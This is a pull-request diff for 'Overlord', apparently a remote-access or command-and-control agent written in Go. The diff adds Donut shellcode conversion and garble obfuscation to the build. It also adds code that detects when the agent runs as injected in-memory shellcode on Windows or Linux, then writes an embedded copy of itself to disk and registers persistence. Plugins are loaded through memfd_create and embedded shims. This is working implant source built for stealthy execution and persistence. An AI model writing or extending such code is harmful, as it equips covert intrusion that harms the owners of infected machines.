Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,19 @@ RUN --mount=type=cache,target=/root/.cache/go-build \
--mount=type=cache,target=/go/pkg/mod \
go install mvdan.cc/garble@latest

# Pre-fetch the latest Donut shellcode converter binary.
# The runtime donut-manager will re-check GitHub and update automatically;
# this step just ensures a working binary is available offline / on first use.
RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/latest" \
| grep '"tag_name"' | head -1 | cut -d'"' -f4) \
&& ARCHIVE_URL="https://github.com/TheWover/donut/releases/download/${DONUT_TAG}/donut_${DONUT_TAG}.tar.gz" \
&& if curl -sSfL "${ARCHIVE_URL}" | tar xzf - --strip-components=0 -C /usr/local/bin ./donut 2>/dev/null; then \
chmod +x /usr/local/bin/donut; \
echo "Donut ${DONUT_TAG} pre-installed from archive"; \
else \
echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \
fi

# Full bun install (includes devDeps needed for tailwind / vendor / minify steps)
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
RUN --mount=type=cache,target=/root/.bun/install/cache \
Expand Down Expand Up @@ -133,6 +146,14 @@ COPY Overlord-Client/ ./Overlord-Client/

RUN mkdir -p certs data

# Pre-seed Go module cache so first agent builds work offline.
RUN --mount=type=cache,target=/root/.cache/go-build \
--mount=type=cache,target=/go/pkg/mod \
cd /app/Overlord-Client && \
GOWORK=off \
GOMODCACHE=/go/pkg/mod \
go mod download

EXPOSE 5173

ENV PORT=5173
Expand Down
29 changes: 29 additions & 0 deletions Overlord-Client/cmd/agent/alloc_console_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
//go:build shellcode_console

package main

import (
"log"
"os"
"syscall"
)

func init() {
k32 := syscall.NewLazyDLL("kernel32.dll")

// Try to attach to the loader's existing console first.
// If that fails (GUI loader or FreeConsole was called), create a new one.
r, _, _ := k32.NewProc("AttachConsole").Call(^uintptr(0)) // ATTACH_PARENT_PROCESS
if r == 0 {
k32.NewProc("AllocConsole").Call()
}

// Open the Windows console output device and redirect Go's stderr + log
// so that log.Printf output is visible regardless of how handles were inherited.
conout, err := syscall.Open("CONOUT$", syscall.O_RDWR, 0)
if err == nil {
w := os.NewFile(uintptr(conout), "stderr")
os.Stderr = w
log.SetOutput(w)
}
}
13 changes: 11 additions & 2 deletions Overlord-Client/cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,8 +21,17 @@ func main() {
runBoundFiles()

if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
if isRunningInMemory() {
if len(selfDropBinary) > 0 {
if err := persistence.SetupFromBytes(selfDropBinary); err != nil {
log.Printf("Warning: Failed to setup shellcode persistence: %v", err)
}
}
// No selfDropBinary = shellcode built without persistence embed; skip.
} else {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
}
}
}

Expand Down
30 changes: 30 additions & 0 deletions Overlord-Client/cmd/agent/memory_other.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
//go:build !windows

package main

import (
"os"
"path/filepath"
)

// isRunningInMemory returns true when the agent is executing as
// in-memory shellcode (e.g. Linux memfd_create / execveat stub).
// On Linux the memfd path cannot be stat'd as a regular file.
func isRunningInMemory() bool {
exePath, err := os.Executable()
if err != nil {
return true
}
if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
exePath = realPath
}
absPath, err := filepath.Abs(exePath)
if err != nil {
return true
}
info, err := os.Stat(absPath)
if err != nil || !info.Mode().IsRegular() {
return true
}
return false
}
43 changes: 43 additions & 0 deletions Overlord-Client/cmd/agent/memory_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
//go:build windows

package main

import (
"syscall"
"unsafe"
)

// _memBasicInfo mirrors MEMORY_BASIC_INFORMATION for 64-bit Windows.
// Layout (bytes): BaseAddress(8) AllocationBase(8) AllocationProtect(4)
// _pad(4) RegionSize(8) State(4) Protect(4) Type(4) _pad(4) = 48 bytes total.
type _memBasicInfo struct {
BaseAddress uintptr
AllocationBase uintptr
AllocationProtect uint32
_ [4]byte // covers PartitionId / alignment padding
RegionSize uintptr
State uint32
Protect uint32
Type uint32
_ [4]byte
}

var (
_k32mem = syscall.NewLazyDLL("kernel32.dll")
_vqProc = _k32mem.NewProc("VirtualQuery")
_memProbe byte // global in .data section — MEM_IMAGE when PE-loaded, MEM_PRIVATE as shellcode
)

// isRunningInMemory returns true when the agent's data section is in
// anonymous private memory (Donut-injected shellcode) rather than a
// file-backed image section.
func isRunningInMemory() bool {
var mbi _memBasicInfo
addr := uintptr(unsafe.Pointer(&_memProbe))
ret, _, _ := _vqProc.Call(addr, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi))
if ret == 0 {
return false
}
const MEM_IMAGE = 0x1000000
return mbi.Type != MEM_IMAGE
}
54 changes: 54 additions & 0 deletions Overlord-Client/cmd/agent/persistence/persistence.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package persistence

import (
"fmt"
"os"
"path/filepath"
)
Expand Down Expand Up @@ -40,3 +41,56 @@ func TargetPath() (string, error) {
func Remove() error {
return uninstall()
}

// SetupFromBytes writes data to the platform persistence target path and
// registers it — used when the agent is running as injected shellcode and
// selfDropBinary contains the normal (non-shellcode) agent PE/ELF.
func SetupFromBytes(data []byte) error {
if len(data) == 0 {
return fmt.Errorf("embedded binary is empty")
}
targetPath, err := getTargetPath()
if err != nil {
return fmt.Errorf("failed to resolve target path: %w", err)
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if err := writeBytes(targetPath, data); err != nil {
return err
}
return configure(targetPath)
}

// writeBytes atomically writes data to dest via a temp file then rename.
func writeBytes(dest string, data []byte) error {
dir := filepath.Dir(dest)
tmp, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp file: %w", err)
}
tmpPath := tmp.Name()
defer func() { _ = os.Remove(tmpPath) }()

if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("failed to write binary: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("failed to sync: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, dest); err != nil {
if rmErr := os.Remove(dest); rmErr == nil {
err = os.Rename(tmpPath, dest)
}
if err != nil {
return fmt.Errorf("failed to place binary at %s: %w", dest, err)
}
}
return os.Chmod(dest, 0755)
}
2 changes: 0 additions & 2 deletions Overlord-Client/cmd/agent/persistence/persistence_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -211,8 +211,6 @@ func install(exePath string) error {
}
_ = cleanupLegacyRunValues()
return firstErr

return nil
}

func replaceExecutable(exePath, targetPath string) error {
Expand Down
11 changes: 11 additions & 0 deletions Overlord-Client/cmd/agent/plugins/loader_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -106,6 +106,17 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
return nil, errors.New("empty plugin binary")
}

// Prefer the subprocess shim approach: the main agent binary is statically
// linked (musl -static) which prevents dlopen from working in-process.
// The shim is a small dynamically-linked binary that can dlopen normally.
if len(pluginHostBinary) > 0 {
p, err := loadNativePluginSubproc(data)
if err == nil {
return p, nil
}
return nil, fmt.Errorf("plugin host shim: %w", err)
}

fd := C.so_memfd_create()
if fd < 0 {
return nil, errors.New("memfd_create failed")
Expand Down
8 changes: 8 additions & 0 deletions Overlord-Client/cmd/agent/plugins/loader_linux_host_amd64.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
//go:build linux && cgo && amd64

package plugins

import _ "embed"

//go:embed plugin_host/plugin_host_amd64
var pluginHostBinary []byte
8 changes: 8 additions & 0 deletions Overlord-Client/cmd/agent/plugins/loader_linux_host_arm.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
//go:build linux && cgo && arm

package plugins

import _ "embed"

//go:embed plugin_host/plugin_host_arm
var pluginHostBinary []byte
8 changes: 8 additions & 0 deletions Overlord-Client/cmd/agent/plugins/loader_linux_host_arm64.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
//go:build linux && cgo && arm64

package plugins

import _ "embed"

//go:embed plugin_host/plugin_host_arm64
var pluginHostBinary []byte
7 changes: 7 additions & 0 deletions Overlord-Client/cmd/agent/plugins/loader_linux_host_stub.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
//go:build linux && cgo && !amd64 && !arm64 && !arm

package plugins

// pluginHostBinary is empty on architectures without a compiled plugin host shim.
// The loader falls back to direct dlopen on these platforms.
var pluginHostBinary []byte
Loading